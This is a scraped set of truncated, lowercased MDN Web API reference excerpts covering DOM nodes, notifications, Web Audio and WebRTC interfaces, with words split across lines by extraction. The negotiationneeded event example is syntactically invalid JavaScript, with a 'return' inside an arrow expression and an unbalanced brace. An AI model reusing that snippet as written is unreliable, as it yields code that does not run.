syntax previousnode = node.previoussibling; example <img id="b0"> <img id="b1"> <img id="b2"> console.log(document.getelementbyid("b1").previoussibling); // <img id="b0"> console.log(document.getelementbyid("b2").previoussibling.id); // "b1" notes gecko-based browsers insert text nodes into a document to represent whitespace in the source markup. ...
...obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get. see whitespace in the dom and w3c dom 3 faq: why are some text nodes empty? for more information. to navigate the opposite way through the child nodes list use node.nextsibling. specifications specification status co
mment domthe definition of 'node.previoussibling' in that specification. living standard no change document object model (dom) level 3 core specificationthe definition of 'node.previoussibling' in that specification. obsolete no change document object model (dom) level 2 core specificationthe definition of 'node.previoussibling' in that specification. ob...
Node.removeChild() - Web APIs
ild node, i.e., oldchild === child. the removed child node still exists in memory, but is no longer part of the dom. with the first syntax form shown, you may reuse the removed node later in your code, via the oldchild object reference. in the second syntax form, however, there is no oldchild reference kept, so assuming your code has not kept any other reference to the node elsewhere, it will i
mmediately become unusable and irretrievable, and will usually be automatically deleted from memory after a short time. if child is actually not a child of the element node, the method throws an exception. this will also happen if child was in fact a child of element at the time of the call, but was removed by an event handler invoked in the course of trying to remove the element (e.g., blur.) err...
... living standard ...
Node.textContent - Web APIs
s. syntax let text = somenode.textcontent someothernode.textcontent = string value a string or null description the value of textcontent depends on the situation: if the node is a document or a doctype, textcontent returns null. note: to get all of the text and cdata data for the whole document, one could use document.documentelement.textcontent. if the node is a cdata section, co
mment, processing instruction, or text node, textcontent returns the text inside the node, i.e., the node.nodevalue. for other node types, textcontent returns the concatenation of the textcontent of every child node, excluding co
mments and processing instructions. (this is an empty string if the node has no children.) setting textcontent on a node removes all of the node's children and replaces t...
... living standard ...
NodeIterator - Web APIs
l only when creating a nodeiterator with an attr node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. since attributes are never children of other nodes, they do not appear when traversing over the document tree. nodefilter.show_cdata_section 8 shows cdatasection nodes. nodefilter.show_co
mment 128 shows co
mment nodes. nodefilter.show_document 256 shows document nodes. nodefilter.show_document_fragment 1024 shows documentfragment nodes. nodefilter.show_document_type 512 shows documenttype nodes. nodefilter.show_element 1 shows element nodes. nodefilter.show_entity 32 shows en...
...his operation is a no-op. it doesn't do anything. previously it was telling the engine that the nodeiterator was no more used, but this is now useless. nodeiterator.previousnode() returns the previous node in the document, or null if there are none. nodeiterator.nextnode() returns the next node in the document, or null if there are none. specifications specification status co
mment domthe definition of 'nodeiterator' in that specification. living standard added the referencenode and pointerbeforereferencenode properties. removed the expandentityreferences property. the method detach() has been changed to be a no-op. the methods previousnode() and nextnode() don't raise an exception any more. document object model (dom) level 2 travers...
NodeList.length - Web APIs
the nodelist.length property returns the number of items in a nodelist. syntax numitems = nodelist.length numitems is an integer value representing the number of items in a nodelist. example the length property is often useful in dom progra
mming. it's often used to test the length of a list, to see if it exists at all. it's also co
mmonly used as the iterator in a for loop, as in this example. ...
...or in a for loop, as in this example. // all the paragraphs in the document var items = document.getelementsbytagname("p"); // for each item in the list, // append the entire element as a string of html var gross = ""; for (var i = 0; i < items.length; i++) { gross += items[i].innerhtml; } // gross is now all the html for the paragraphs specifications specification status co
mment domthe definition of 'nodelist: length' in that specification. living standard ...
NonDocumentTypeChildNode.nextElementSibling - Web APIs
the nondocumenttypechildnode.nextelementsibling read-only property returns the element i
mmediately following the specified one in its parent's children list, or null if the specified element is the last one in the list. syntax var nextnode = elementnodereference.nextelementsibling; example <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <script type="text/javascript"> var el = document.getelementbyid('div-01').nextelementsibling; console.log('siblings of div-01:'); while (el) { console.log(el.nodename); el = el.nextelementsibling; } </script> this example outputs the following into the console when it loads: siblings of div-01: div script polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippe...
... living standard split the elementtraversal interface in childnode, parentnode, and nondocumenttypechildnode. this method is now defined on the former. the element and characterdata interfaces implemented the new interface. element traversal specificationthe definition of 'elementtraversal.next...
NonDocumentTypeChildNode.previousElementSibling - Web APIs
the nondocumenttypechildnode.previouselementsibling read-only property returns the element i
mmediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list. syntax prevnode = elementnodereference.previouselementsibling; example <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <li>this is a list item</li> <li>this is another list item</li> <div id="div-03">here is div-03</div> <script> let el = document.getelementbyid('div-03').previouselementsibling; document.write('<p>siblings of div-03</p><ol>'); while (el) { document.write('<li>' + el.nodename + '</li>'); el = el.previouselementsibling; } document.write('</ol>'); </script> this example outputs the following into the pag...
... living standard splitted the elementtraversal interface in childnode, parentnode, and nondocumenttypechildnode. this method is now defined on the former. the element and characterdata interfaces implemented the new interface. element traversal specificationthe definition of...
NonDocumentTypeChildNode - Web APIs
interface contains methods that are particular to node objects that can have a parent, but not suitable for documenttype. nondocumenttypechildnode is a raw interface and no object of this type can be created; it is implemented by element, and characterdata objects. properties there are no inherited properties. nondocumenttypechildnode.previouselementsibling read only returns the element i
mmediately prior to this node in its parent's children list, or null if there is no element in the list prior to this node. nondocumenttypechildnode.nextelementsibling read only returns the element i
mmediately following this node in its parent's children list, or null if there is no element in the list following this node. methods there are neither inherited nor specific methods. specificatio...
... living standard splitted the elementtraversal interface in parentnode, childnode, and nondocumenttypechildnode. ...
Notification.actions - Web APIs
note: this feature is available in web workers. the actions read-only property of the notification interface returns the list of notificationaction objects set using the actions option when creating the notification using the notification() constructor. this is a list of the application-defined actions the user can choose to take i
mmediately within the context of a notification. note: device and user agent might be able to display only a limited number of actions (due to, e.g., limited screen space). this limit can be infered from notification.maxactions. syntax var actions[] = notification.actions; value a read-only array of notificationaction objects, each describing a single action the user can choose within a notification. specifications specification statu...
...d user agent might be able to display only a limited number of actions (due to, e.g., limited screen space). this limit can be infered from notification.maxactions. syntax var actions[] = notification.actions; value a read-only array of notificationaction objects, each describing a single action the user can choose within a notification. specifications specification status co
mment notifications apithe definition of 'actions' in that specification. living standard living standard ...
Notification.requestPermission() - Web APIs
s page, as chrome and firefox no longer allow notification permissions to be requested from cross-origin <iframe>s, with other browsers to follow. to see a example in action, check out our to-do list example (also see the app running live.) note: in the above example we spawn notifications in response to a user gesture (clicking a button). ...
...fications in response to a user gesture (clicking a button). this is not only best practice — you should not be spa
mming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture. firefox is already doing this from version 72, for example. ...
NotificationAction - Web APIs
action that is displayed to the user. notificationaction.icon read only the url of the image used to represent the notification when there is not enough space to display the notification itself. example notifications can fire notificationclick events on the serviceworkerglobalscope. here a service worker shows a notification with a single "archive" action, allowing users to perform this co
mmon task from the notification without having to open the website. the user can also click the main body of the notification to open their inbox instead. self.registration.shownotification("new mail from alice", { actions: [ { action: 'archive', title: 'archive' } ] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.a...
... action: 'archive', title: 'archive' } ] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'archive') { // archive action was clicked archiveemail(); } else { // main body of notification was clicked clients.openwindow('/inbox'); } }, false); specifications specification status co
mment notifications api living standard living standard ...
Notifications API - Web APIs
ystem notifications, which is generally done when the app or site initialises, using the notification.requestpermission() method. this should be done in response to a user gesture, such as clicking a button, for example: btn.addeventlistener('click', function() { let promise = notification.requestpermission(); // wait for permission }) this is not only best practice — you should not be spa
mming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture. firefox is already doing this from version 72, for example. this will spawn a request dialog, along the following lines: from here the user can choose to allow notifications from this origin, or block them. once a choice has been m...
...ations() method, for controlling the display of notifications. ...
OfflineAudioContext.OfflineAudioContext() - Web APIs
n contain a single sample of audio data for every channel in the audio data. for example, a 5-second buffer with a samplerate of 48000hz would have a length of 5 * 48000 = 240000 sample-frames. samplerate the sample-rate of the linear audio data in sample-frames per second. all user agents are required to support a range of 22050hz to 96000hz, and may support a wider range than that. the most co
mmonly-used rate is 44100hz, which is the sample rate used by cd audio. it is important to note that, whereas you can create a new audiocontext using the new audiocontext() constructor with no arguments, the offlineaudiocontext() constructor requires three arguments, since it needs to create an audiobuffer. this works in exactly the same way as when you create a new audiobuffer with the audioconte...
...ts, therefore it implements the eventtarget interface. example const offlinectx = new offlineaudiocontext({ numberofchannels: 2, length: 44100 * 40, samplerate: 44100, }); const source = offlinectx.createbuffersource(); // etc... for a full working example, see our offline-audio-context-promise github repo (see the source code too.) specifications specification status co
mment web audio apithe definition of 'offlineaudiocontext()' in that specification. working draft ...
OrientationSensor - Web APIs
...
...esults => { if (results.every(result => result.state === "granted")) { sensor.start(); ... } else { console.log("no permissions to use absoluteorientationsensor."); } }); specifications specification status co
mment orientation sensorthe definition of 'orientationsensor' in that specification. candidate reco
mmendation initial definition. ...
OscillatorNode.start() - Web APIs
onal and default to 0. syntax oscillator.start(when); // start playing oscillator at the point in time specified by when parameters when optional an optional double representing the time (in seconds) when the oscillator should start, in the same coordinate system as audiocontext's currenttime attribute. if a value is not included or is less than currenttime, the oscillator starts playing i
mmediately. example the following example shows basic usage of an audiocontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = ...
...o (see app.js for relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status co
mment web audio apithe definition of 'start' in that specification. working draft ...
OscillatorNode.stop() - Web APIs
stop playing the tone. its parameter is optional and defaults to 0. syntax oscillator.stop(when); // stop playing oscillator at when parameters when optional an optional double representing the audio context time when the oscillator should stop. if a value is not included, it defaults to 0. if the time is equal to or before the current audio context time, the oscillator will stop playing i
mmediately. example the following example shows basic usage of an audiocontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.connect(...
... relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.connect(audioctx.destination); oscillator.start(); oscillator.stop(audioctx.currenttime + 2); // stop 2 seconds after the current time specifications specification status co
mment web audio apithe definition of 'stop' in that specification. working draft ...
OscillatorNode.type - Web APIs
the shape of the waveform will affect the tone that is produced. syntax oscillatornode.type = type; value a domstring specifying the shape of oscillator wave. the different available values are: sine a sine wave. this is the default value. square a square wave with a duty cycle of 0.5; that is, the signal is "high" for half of each period. sawtooth a sawtooth wave. triangle a triangle wave. custom a custom waveform. ...
...mo (see app.js for relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status co
mment web audio apithe definition of 'type' in that specification. working draft ...
PaintWorklet.registerPaint - Web APIs
syntax registerpaint(name, class); parameters name the name of the worklet class to register. class a reference to the class that implements the worklet. return value undefined exceptions typeerror thrown when one of the arguments is invalid or missing. invalidmodificationerror thrown when the a worklet already exists with the specified name. examples the following shows registering an example worklet module. this should be in a separate js file. ...
...klet using the registerpaint() function, as done above. to use it, you register it with the css.paintworklet.addmodule() method: <script> css.paintworklet.addmodule('checkboardworklet.js'); </script> you can then use the paint() css function in your css anywhere an <image> value is valid. li { background-image: paint(checkerboard); } specifications specification status co
mment css painting api level 1the definition of 'paintworklet.registerpaint' in that specification. working draft initial definition. ...
PannerNode.coneInnerAngle - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector i
mmediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... working draft ...
PannerNode.coneOuterAngle - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector i
mmediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... working draft ...
PannerNode.coneOuterGain - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector i
mmediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... working draft ...
PannerNode.orientationX - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector i
mmediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... working draft ...
PannerNode.orientationY - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector i
mmediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... working draft ...
RTCIceCandidate - Web APIs
when starting a webrtc peer connection, typically a number of candidates are proposed by each end of the connection, until they mutually agree upon one which describes the connection they decide will be best. ...
...ment, even across ice restarts. methods tojson() given the rtcicecandidate's current configuration, tojson() returns a domstring containing a json representation of that configuration in the form of a rtcicecandidateinit object. examples for examples, see the article signaling and video calling, which demonstrates the entire process. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcicecandidate' in that specification. candidate reco
mmendation initial definition. ...
RTCIceCandidateInit.usernameFragment - Web APIs
the optional property usernamefragment in the rtcicecandidateinit dictionary specifies the value of the rtcicecandidate object's usernamefragment property. value a domstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any co
mmunication with the stun server. the string may be up to 256 characters long, and has no default value. randomization at least 24 bits of the text in the ufrag are required to be randomly selected by the ice layer at the beginning of the ice session. the specifics for which bits are random and what the remainder of the ufrag text are are left up to the browser implementation to decide. for example, a bro...
...to the browser implementation to decide. for example, a browser might choose to always use a 24-character ufrag in which bit 4 of each character is randomly selected between 0 and 1. another example: it might take a user-defined string and append three 8-bit random bytes to the end. or perhaps every character is entirely random. example ... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcicecandidateinit.usernamefragment' in that specification. candidate reco
mmendation initial specification. ...
RTCIceCandidatePairStats.consentExpiredTimestamp - Web APIs
the ip address and port configurations for both peers on the webrtc connection — are due to expire. if this time has arrived or passed, the bindings have expired. ...
...at which the stun binding that allows the two peers described by this rtcicecandidatepair to co
mmunicate will expire (or the time at which the binding did expire, if the time has passed). this property's value is undefined if there have been no stun binding responses yet on the candidate pair. this is only possible if responsesreceived is 0. specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.consentexpiredtimestamp' in that specification. candidate reco
mmendation initial specification. ...
RTCIceCandidatePairStats.state - Web APIs
yer builds up a check list, which is a list of potential pairings of ice candidates. each pair has a state, whose value is represented by rtcstatsicecandidatepairstate. when a candidate pair is added to the check list, it begins in the frozen state. as soon as there are no checks ongoing which block the pair from being analyzed, it is unfrozen and moves into the waiting state. this may happen i
mmediately upon being added to the check list. each time a candidate pair is done being checked, the next-highest priority candidate pair remaining on the check list moves from the waiting state to the in-progress state, and its check begins. if the check fails for any reason, the pair moves into its final state, failed. if the check succeeds, the pair ends up in the succeeded state. the ice check...
...k list moves from the waiting state to the in-progress state, and its check begins. if the check fails for any reason, the pair moves into its final state, failed. if the check succeeds, the pair ends up in the succeeded state. the ice check list state for any given pair of ice candidates can be found in the corresponding the state property. specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.state' in that specification. candidate reco
mmendation initial specification. ...
RTCIceCandidatePairStats.transportId - Web APIs
...
...rt-related data was obtained for the statistics contained in this rtcicecandidatepairstats object. the transport-related statistics come from the rtctransportstats dictionary's properties. specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.transportid' in that specification. candidate reco
mmendation initial specification. ...
RTCIceCandidateStats.protocol - Web APIs
the rtcicecandidatestats dictionary's protocol property specifies the protocol the specified candidate would use for co
mmunication with the remote peer. syntax protocol = rtcicecandidatestats.protocol; value the value is one of the members of the rtciceprotocol enumerated string type: tcp the candidate, if selected, would use tcp as the transport protocol for its data. the tcptype property provides additional information about the kind of tcp candidate represented by the object. udp the candidate will use the udp transport protocol for its data. this is the preferred protocol for media interactions because of its better performance profile. ...
... selected, would use tcp as the transport protocol for its data. the tcptype property provides additional information about the kind of tcp candidate represented by the object. udp the candidate will use the udp transport protocol for its data. this is the preferred protocol for media interactions because of its better performance profile. specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.protocol' in that specification. candidate reco
mmendation initial specification. ...
RTCIceCandidateStats.relayProtocol - Web APIs
the rtcicecandidatestats dictionary's relayprotocol property specifies the protocol being used by a local ice candidate to co
mmunicate with the turn server. the ice protocl being used by the candidate otherwise can be obtained from the protocol property. syntax relayprotocol = rtcicecandidatestats.relayprotocol; value a domstring identifying the protocol being used by the endpoint to co
mmunicate with the turn server. the possible values are: tcp tcp (transport control protocol) is being used to co
mmunicate with the turn server. tls tls (transport layer security) is being used to co
mmunicate with the turn server. udp udp (user datagram protocol) is being used to co
mmunicate with the turn server. note: this property is only present on rtcicecandidatestats objects that represen...
...trol protocol) is being used to co
mmunicate with the turn server. tls tls (transport layer security) is being used to co
mmunicate with the turn server. udp udp (user datagram protocol) is being used to co
mmunicate with the turn server. note: this property is only present on rtcicecandidatestats objects that represent local candidates. specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.relayprotocol' in that specification. candidate reco
mmendation initial specification. ...
RTCIceTransport: statechange event - Web APIs
a statechange event occurs when the rtcicetransport changes state. the state can be used to determine how far through the process of examining, verifying, and selecting a valid candidate pair is prior to successfully connecting the two peers for webrtc co
mmunications. bubbles no cancelable no interface event event handler property rtcicetransport.onstatechange examples given an rtcpeerconnection, pc, the following code creates an event handler that calls a function named handlefailure() if the ice transport enters a failure state. let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.addeventlistener("statechange", ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same ...
...ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same code, using the onstatechange event handler property, looks like this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'statechange' in that specification. candidate reco
mmendation ...
RTCIceTransportState - Web APIs
...
...nished checking all existing candidate pairs and has not found a pair that will work—or a valid pair was found but rejected due to consent to use the pair being denied. in this scenario, the transport is still continuing to gather candidates, and/or to wait for candidates to be sent by the remote peer. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcicerole' in that specification. candidate reco
mmendation initial definition. ...
RTCOfferOptions - Web APIs
...
...ateoffer() to generate and use new values for the identifying properties of the sdp it creates, resulting in a request that triggers renegotiation of the ice connection. this is useful if network conditions have changed in a way that make the current configuration untenable or impractical, for instance. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcofferoptions' in that specification. candidate reco
mmendation initial definition. ...
RTCPeerConnection.addTrack() - Web APIs
her peer will create a corresponding stream (or streams) automatically on the other end of the connection, and will then automatically add the received track to those streams. streamless tracks if no streams are specified, then the track is streamless. this is perfectly acceptable, although it will be up to the remote peer to decide what stream to insert the track into, if any. this is a very co
mmon way to use addtrack() when building many types of simple applications, where only one stream is needed. for example, if all you're sharing with the remote peer is a single stream with an audio track and a video track, you don't need to deal with managing what track is in what stream, so you might as well just let the transceiver handle it for you. here's an example showing a function that uses...
...ment which is referenced by the variable previewelement. the final step is to begin sending the local video across the peer connection to the caller. this is done by adding each track in the stream by iterating over the list returned by mediastream.gettracks() and passing them to addtrack() along with the stream which they're a component of. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcpeerconnection.addtrack()' in that specification. candidate reco
mmendation initial specification. ...
RTCPeerConnection: datachannel event - Web APIs
g rtcpeerconnection.createdatachannel(). note: this event is not dispatched when the local end of the connection creates the channel. bubbles no cancelable no interface rtcdatachannelevent event handler property ondatachannel examples this example sets up a function that handles datachannel events by gathering the information needed to co
mmunicate with the newly added rtcdatachannel and by adding event handlers for the events that occur on that channel. pc.addeventlistener("datachannel", ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; }, false); receivechannel is set to the value of the event's channel property, ...
... the remote peer to the local one. this same code can also instead use the rtcpeerconnection interface's ondatachannel event handler property, like this: pc.ondatachannel = ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; } specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'datachannel' in that specification. candidate reco
mmendation basic definition. ...
RTCPeerConnection.getIdentityAssertion() - Web APIs
the rtcpeerconnection.getidentityassertion() method initiates the gathering of an identity assertion. this has an effect only if the signalingstate is not "closed". the method returns i
mmediately. if the assertion cannot be generated, an idpassertionerror will be sent to the object. it is not expected for the application dealing with the rtcpeerconnection: this is automatically done; an explicit call only allows to anticipate the need. syntax pc.getidentityassertion(); there is neither parameter nor return value for this method. ...
...th the rtcpeerconnection: this is automatically done; an explicit call only allows to anticipate the need. syntax pc.getidentityassertion(); there is neither parameter nor return value for this method. example var pc = new peerconnection(); pc.getidentityassertion(); // not mandatory, but we know that we will need it in the future. specifications specification status co
mment identity for webrtcthe definition of 'rtcpeerconnection.getidentityassertion()' in that specification. candidate reco
mmendation initial specification. ...
RTCPeerConnection: iceconnectionstatechange event - Web APIs
an iceconnectionstatechange event is sent to an rtcpeerconnection object each time the ice connection state changes during the negotiation process. the new ice connection state is available in the object's iceconnectionstate} property. bubbles no cancelable no interface event event handler property oniceconnectionstatechange one co
mmon task performed by the iceconnectionstatechange event listener: to trigger ice restart when the state changes to failed. see ice restart in lifetime of a webrtc session for further information. usage notes a successful connection attempt will typically involve the state starting at new, then transitioning through checking, then connected, and finally completed. however, under certain circumstances, the ...
...nectionstatechange", ev => { let stateelem = document.queryselector("#call-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; }, false); this can also be written as: pc.oniceconnectionstatechange = ev => { let stateelem = document.queryselector("#call-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; } specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'iceconnectionstatechange' in that specification. candidate reco
mmendation ...
RTCPeerConnection: idpassertionerror event - Web APIs
ionerror property. ...
... no cancelable no interface rtcidentityerrorevent event handler property onidpassertionerror warning: this event is no longer used; instead, you can detect an assertion error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'idpassertionerror' in that specification. candidate reco
mmendation ...
RTCPeerConnection: idpvalidationerror event - Web APIs
onerror property. ...
...no cancelable no interface rtcidentityerrorevent event handler property onidpvalidationerror warning: this event is no longer used; instead, you can detect a validation error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'idpvalidationerror' in that specification. candidate reco
mmendation ...
RTCPeerConnection: negotiationneeded event - Web APIs
a negotiationneeded event is sent to the rtcpeerconnection when negotiation of the connection through the signaling channel is required. this occurs both during the initial setup of the connection as well as any time a change to the co
mmunication environment requires reconfiguring the connection. bubbles no cancelable no interface event event handler property rtcpeerconnection.onnegotiationneeded the negotiationneeded event is first dispatched to the rtcpeerconnection when media is first added to the connection. this starts the process of ice negotiation by instructing your code to begin exchanging ice candidates through the signaling server. see signaling transaction flow in signaling and video calling for a description of the signali...
...y: pc.onnegotiationneeded = ev => { pc.createoffer() .then(offer => return pc.setlocaldescription(offer)) .then(() => sendsignalingmessage({ type: "video-offer", sdp: pc.localdescription })) .catch(err => { /* handle error */ ); }; for a more detailed example, see starting negotiation in signaling and video calling. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'negotiationneeded' in that specification. candidate reco
mmendation ...
RTCPeerConnection.onaddstream - Web APIs
the rtcpeerconnection.onaddstream event handler is a property containing the code to execute when the addstream event, of type mediastreamevent, is received by this rtcpeerconnection. such an event is sent when a mediastream is added to this connection by the remote peer. the event is sent i
mmediately after the call setremotedescription() and doesn't wait for the result of the sdp negotiation. important: this property has been removed from the specification; you should now use rtcpeerconnection.ontrack to watch for track events instead. it is included here in order to help you adapt existing code and understand existing samples, which may not be up-to-date yet. syntax rtcpeerconnection.onaddstream = eventhandler; value a function which handles addstream events. these events, of ty...
...instead. it is included here in order to help you adapt existing code and understand existing samples, which may not be up-to-date yet. syntax rtcpeerconnection.onaddstream = eventhandler; value a function which handles addstream events. these events, of type mediastreamevent, are sent when streams are added to the connection by the remote peer. the first time an event occurs may be nearly i
mmediately after the remote end of the connection is set using rtcpeerconnection.setremotedescription(); it doesn't wait for a particular stream to be accepted or rejected using sdp negotiation. example this code, based on an older version of our signaling and video calling sample, responds to addstream events by setting the video source for a <video> element to the stream specified in the event, ...
RTCPeerConnection.onnegotiationneeded - Web APIs
rface's onnegotiationneeded property is an eventlistener which specifies a function which is called to handle the negotiationneeded event when it occurs on an rtcpeerconnection instance. this event is fired when a change has occurred which requires session negotiation. this negotiation should be carried out as the offerer, because some session changes cannot be negotiated as the answerer. most co
mmonly, the negotiationneeded event is fired after a send track is added to the rtcpeerconnection. if the session is modified in a manner that requires negotiation while a negotiation is already in progress, no negotiationneeded event will fire until negotiation completes, and only then if negotiation is still needed. syntax rtcpeerconnection.onnegotiationneeded = eventhandler; value this shoul...
...ough the signaling server }); }) .catch(reporterror); } first, it creates the offer by calling createoffer(). when that succeeds, the offer is passed into setlocaldescription() to set the local description for the connection. once that's succeeded in turn, the offer can be sent to the signaling server for delivery to the remote peer. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcpeerconnection.onnegotiationneeded' in that specification. candidate reco
mmendation initial specification. ...
RTCPeerConnection.setConfiguration() - Web APIs
the rtcpeerconnection.setconfiguration() method sets the current configuration of the rtcpeerconnection based on the values included in the specified rtcconfiguration object. this lets you change the ice servers used by the connection and which transport policies to use. the most co
mmon use case for this method (and even then, probably not a very co
mmon use case) is to replace the set of ice servers to be used. two potential scenarios in which this might be done: the rtcpeerconnection was instantiated without specifying any ice servers. if, for example, the rtcpeerconnection() constructor was called with no parameters, you would have to then call setconfiguration() to add ice servers before ice negotiation could begin. renegotiation of the connection is needed, and a different set of...
...ing the new ice server and its credentials. this is then passed into setconfiguration(). ice negotiation is restarted by calling createoffer(), specifying true as the value of the icerestart option. from there, we handle the process as usual, by setting the local description to the returned offer and then sending that offer to the other peer. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'setconfiguration()' in that specification. candidate reco
mmendation initial definition. ...
RTCPeerConnection.setLocalDescription() - Web APIs
promise which is fulfilled once the description has been changed, asynchronously. if setlocaldescription() is called while a connection is already in place, it means renegotiation is underway (possibly to adapt to changing network conditions). because descriptions will be exchanged until the two peers agree on a configuration, the description submitted by calling setlocaldescription() does not i
mmediately take effect. instead, the current connection configuration remains in place until negotiation is complete. only then does the agreed-upon configuration take effect. syntax apromise = rtcpeerconnection.setlocaldescription(sessiondescription); pc.setlocaldescription(sessiondescription, successcallback, errorcallback); parameters sessiondescription optional an rtcsessiondescriptio...
